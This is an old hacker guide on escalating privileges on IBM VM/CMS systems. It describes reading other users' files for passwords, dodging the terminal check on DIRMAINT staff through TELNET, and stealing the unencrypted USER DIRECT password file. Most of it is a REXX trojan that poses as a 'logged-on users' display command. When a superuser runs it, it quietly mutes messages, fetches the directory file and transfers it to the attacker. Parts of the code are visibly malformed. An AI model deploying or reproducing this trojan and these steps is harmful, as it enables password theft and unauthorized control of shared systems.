Then you can see all of the files owned by VTAMUSER.  Usually people are lazy
enough to remember too many passwords, so to read the passwords.  It may be its
CP pass too!  TRY IT!!!

But IBM is not so stupid as to let any user with privileges open accounts
randomly.  It limits a maximum of 8 superusers to be able to do it.  You may
find it in:

DIRMAINT DATA Y2

Only these DIRM-STAFF can open accounts from the console.  If another user logs
on from a terminal, he will be logged out immediately even though he knew the
password. And only these STAFF have 2 modes of operation to use:

DIRM

One is general user mode and the other is operation mode (Privilege operation)
so you have to cheat the O.S. to think that you are NOT logged in from a
terminal.  Our way is to use TELNET.  Usually this package is named TCPIP.  Do
this:

TELNET yourhost

It will request you logon again.  Then, if you logon with the superuser ID &
password, the O.S. will not recognize that you are from a terminal and will let
you in!!  The most important thing is that IBM stores its user IDs & passwords
in a file:

USER DIRECT

Usually, this file is stored on DIRMAINT's minidisk and it is a text file!!!  I
do not know why, but it actually is not encrypted!!!!  Incredible to believe...

Once you have this file, you will know all users' passwords and all information
about all users' IDs and I think it is rude to open new accounts!  Poor me!
I've done this and lost privs 3 times now.  While there is a way to get back
your privs, first you need find a privileged ID so that you can write your file
in it.  Then, write a EXEC file into it.  This file's name must be a most
common command that any one will issue.  If the general user uses it, nothing
happens, but if a superuser issues it, then it will do something for you!  Here
is a example:

Please note that wherever you see (cut), it means that the line was too long
and had to be split.  Whenever you see (cut), take the line below the line that
it is on and paste it on the end of the (cut) line (removing the (cut) in the
process).

-----------------------------------Cut Here------------------------------------
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */
TRACE O
USER  = 0
SW    = 1
S     = 1
PARSE UPPER ARG NAM GARBAGE
IF NAM = ' ' THEN signal qname
PO = INDEX(NAM,'*')
IF PO = 0 THEN DO
   Q NAM
   EXIT
  END
T = PO - 1
IF T= 0 THEN signal qname
NALL = SUBSTR(NAM,1,T)
EXECIO '* CP (STRING Q N '
NUMQ  = QUEUED()
DO N  = 1 TO NUMQ
   PULL STR
PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N '-' LC.N (cut)
    ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N  = 1 TO NUMQ
   IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL & (cut)
         SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE
      A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(NB.N,1,T)=NALL & (cut)
         SUBSTR(space(NB.N),1,4)^='LOGO' & SPACE
      A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut)
         SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE
      A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(ND.N,1,T)=NALL & (cut)
         SUBSTR(space(ND.N),1,4)^='LOGO' SPACE(L
      A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - -' RIGHT(USER,3,0) ' SPECIFIED LOGON USERS - (cut)
         - - - - - - - - - - ->'
say MM
SAY
SAY
EXIT
QNAME:
/* DISPLAY THE NUMBER OF USERS LOGGED ON */
USER  = 0
SW    = 1
S     = 1
EXECIO '* CP (STRING Q N '
IF USERID() ='MAINT' THEN SIGNAL NJ  /*super user id */
IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */
IF USERID() ='LIU' THEN SIGNAL NJ    /*supr userid */
IF USERID() ='PMAINT' THEN SIGNAL NJ /*super user id*/
IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user id*/
SIGNAL JP
NJ:
CP SET IMSG OFF
CP SET MSG OFF
EXEC DIRMAINT GET DIRMAINT NOLOCK
SLEEP 2  SEC
CP TRAN     USERID() ALL yourid   /* to your own id*/
CP SET IMSG ON
CP SET MSG ON
JP:
NUMQ  = QUEUED()
DO N  = 1 TO NUMQ
   PULL STR
         PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N (cut)
         '-' LC.N ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N  = 1 TO NUMQ
   IF LA.N ='VTAM' THEN SELECT
      WHEN (S+0)//4 = 1 THEN DO
      LA.N ='VTAM' THEN DO
      A.S ='VSM - VTAM'       ; S = S+1 ;
      A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
   END
      WHEN (S+0)//4 = 2 THEN DO
      A.S = ' ' ; S = S+1 ; A.S = ' '   ;S=S+1 ; A.S =' ' ; S=S+1 ;END
      WHEN (S+0)//4 = 3 THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END;
      WHEN (S+0)//4 = 0 THEN DO; A.S = ' ' ; S=S+1 ; END
   END
   IF LA.N ='VTAM' THEN DO
      A.S ='VSM - VTAM'       ; S = S+1 ;
      A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
   END
   IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(space(NA.N),1,4)^='LOGO' & (cut)
         SPACE(LA.N)^=SPACE(NA.N) THEN
      A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut)
         SPACE(LB.N)^=SPACE(NB.N) THEN
      A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(space(NC.N),1,4)^='LOGO' & (cut)
         SPACE(LC.N)^=SPACE(NC.N) THEN
      A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut)
SPACE(LD.N)^=SPACE(ND.N) THEN
      A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - - - ' RIGHT(USER,3,0) ' LOGON  USERS - - - - (cut)
         - - - - - - - - - - ->'
say  MM
SAY
exit
concate:
DO I = 1 TO S-1 BY 4
   IF I+1 < S   THEN   P=I+1   ;      ELSE A.P = ' '
   IF I+2 < S   THEN   Q=I+2   ;      ELSE A.Q = ' '
   IF I+3 < S   THEN   R=I+3   ;      ELSE A.R = ' '
   STR= ' '
   IF I+3 < S   THEN   R=I+3   ;      ELSE A.R = ' '
   STR=INSERT(A.I,STR,1)       ;      STR=INSERT(A.P,STR,21)
   STR=INSERT(A.Q,STR,41)      ;      STR=INSERT(A.R,STR,61)
   SAY STR
END
return
-----------------------------------Cut Here------------------------------------

Well, that is it...Unfortunately, we did not know how to install a backdoor in
IBM VM/CMS so we could not keep privs permanently.  It is a pity...but we're
glad to share our experience with hackers!

                               Sincerely,

                                            Goe
_______________________________________________________________________________